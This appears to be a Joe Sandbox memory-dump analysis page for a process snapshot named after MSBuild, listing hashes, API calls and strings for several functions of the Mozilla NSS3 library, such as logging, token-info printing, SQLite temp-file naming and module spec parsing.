Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction ID: 59fca2dca3cef0893b7833aadb60e676cb28be2d27590f1dc28ae6dd14501a15
Opcode Fuzzy Hash: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction Fuzzy Hash: 94F1F271F011568BEB04DFA8C8543AAB7F8AB8A309F15822DCB15D7B54FB709942CBC1

Function 6CBE8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction ID: b08896fafc940ee067ec19b73d761e78fdf3b63b64afdb379ad39dbb0d6c2fa5
Opcode Fuzzy Hash: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction Fuzzy Hash: 0C110432A006958FEB04DF28D88475AB3A5FF4975CF04466AD9158FA41C376D882C7C2

Function 6CCC0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction ID: 380a9b3350e0a7de7f9ebc4cffa38ba269084c21b41c9c364c1bf7aebb2f659c
Opcode Fuzzy Hash: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction Fuzzy Hash: 9D11A3B5B04345DFDB10DF19C88066A7BB6FF85368F14816DD8298B701EB71E806CBA2

Function 6CCC0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: adfb26285ba2b07a0035d528b2ec89e07c5c5afd35886ec6b7ad793d3f0306e6
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: CBE06D7A302454A7DB148E09C450AA97359EF81729FA480B9CC5A9BA01EA33F8438782

Function 6CD009D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CD00A22

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35

Part of subcall function 6CBE3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBE382A
Part of subcall function 6CBE3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBE3879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
PR_GetCurrentThread.NSS3 ref: 6CD00A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
PR_LogFlush.NSS3 ref: 6CD00C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
free.MOZGLUE(00000000), ref: 6CD00D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CD00A5B
%ld[%p]: , xrefs: 6CD00A96

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: b6ec4eeb50e0aa67d34bd8cacfe82dd9b25976aadf4e28732f77a056ed37f79b
Instruction ID: 7d682e64c67ecbbdde23c6f4ba48786739e7f0d8fb76924b941b195088c676c7
Opcode Fuzzy Hash: b6ec4eeb50e0aa67d34bd8cacfe82dd9b25976aadf4e28732f77a056ed37f79b
Instruction Fuzzy Hash: 2FA11970B00194AFEF10AF68CC88BEA3B7CEF5235CF480654FA5593691D775A988CB61

Function 6CC228A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CC228BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CC228EF

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC228D6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CC22963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CC22983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CC229A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CC229C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CC22A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CC22A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CC22A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CC22A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CC22AB6

Strings

label = "%.32s", xrefs: 6CC2295E
CKF_LOGIN_REQUIRED, xrefs: 6CC229F3, 6CC22A1E
manufacturerID = "%.32s", xrefs: 6CC2297E
maxSessions = %u, Sessions = %u, xrefs: 6CC22A43
C_GetTokenInfo, xrefs: 6CC228B8
CKF_WRITE_PROTECTED, xrefs: 6CC229FE, 6CC22A1F
hardware version: %d.%d, xrefs: 6CC22A89
flags = %s %s %s %s, xrefs: 6CC22A21
maxRwSessions = %u, RwSessions = %u, xrefs: 6CC22A61
firmware version: %d.%d, xrefs: 6CC22AB1
slotID = 0x%x, xrefs: 6CC228D1
serial = "%.16s", xrefs: 6CC229BE
CKF_USER_PIN_INIT, xrefs: 6CC229E5
model = "%.16s", xrefs: 6CC2299E
pInfo = 0x%p, xrefs: 6CC228EA
CKF_RNG, xrefs: 6CC22A13, 6CC22A20

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: a10d1aed8d8c114b1c785eb2688ebd5a5121b923f5375246a183f5780e2f5b8e
Instruction ID: d8c05aa55c3252fbe59f50b6a047a8f6939d5416ab12e103ebc145a104bba32b
Opcode Fuzzy Hash: a10d1aed8d8c114b1c785eb2688ebd5a5121b923f5375246a183f5780e2f5b8e
Instruction Fuzzy Hash: F951EDB1601140EFFB008F54DD5DE5677B9AB4125DF898076EA049BB22EB35E84CC761

Function 6CCC6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB8BE66), ref: 6CCC6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB8BE66), ref: 6CCC6E98
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6FA6
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB8BE66), ref: 6CCC701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC70A0

Strings

mz_etilqs_, xrefs: 6CCC6F18
winGetTempname1, xrefs: 6CCC708F
winGetTempname2, xrefs: 6CCC70C4
winGetTempname4, xrefs: 6CCC7046
winGetTempname5, xrefs: 6CCC7071

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction ID: e24fd82c62ec261feb5a1dca5be2f5c7d37691dd2d0b2bbe68a0c219de08c1a2
Opcode Fuzzy Hash: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction Fuzzy Hash: 455167B1F006112BF31097359C55BBF366A9F82348F184538E91596FD1FB25940E83E3

Function 6CC54FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000,00000000,00000001), ref: 6CC55009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000), ref: 6CC55049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC5505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CC55071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC550A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC550B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2), ref: 6CC550CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC550D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC550F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55153
free.MOZGLUE(?), ref: 6CC5516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC5517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC55195

Strings

library=, xrefs: 6CC55043
name=, xrefs: 6CC55057
config=, xrefs: 6CC5509B
parameters=, xrefs: 6CC5506B
nss=, xrefs: 6CC55083

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction ID: 03cd2c87aeeb7c761a85154781aed74c8d679f6c94a94524c2fd0160e13f3133
Opcode Fuzzy Hash: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction Fuzzy Hash: 34510AB5A01215ABEB01DF20DC41AAF37B8AF16248F540420ED19E7741FB35E939C7B6

Function 6CC54C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C5B
PR_smprintf.NSS3(6CD2AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC54D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC54DA2
free.MOZGLUE(?), ref: 6CC54DB9
free.MOZGLUE(00000000), ref: 6CC54DCF

Strings

ootT, xrefs: 6CC54D1A
any, xrefs: 6CC54C96
0x%08lx=[%s %s], xrefs: 6CC54D80
%s,%s, xrefs: 6CC54C4B
rust, xrefs: 6CC54D22
every, xrefs: 6CC54CA1
timeout, xrefs: 6CC54C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC54D9D
rootFlags, xrefs: 6CC54D47
slotFlags, xrefs: 6CC54D34

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction ID: 345f80c52e851093d8baf7322383c70e6bbb9c41cddc91f350cbb36b04d6be6a
Opcode Fuzzy Hash: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction Fuzzy Hash: 2E4179B1D001416BEB12EF18DC85ABE3669AF8230CF498128ED195BB11F735E838C7D6

Function 6CC208F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CC2094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC20953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CC2096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CC20974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC2098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC20995

Part of subcall function 6CC21800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC21860
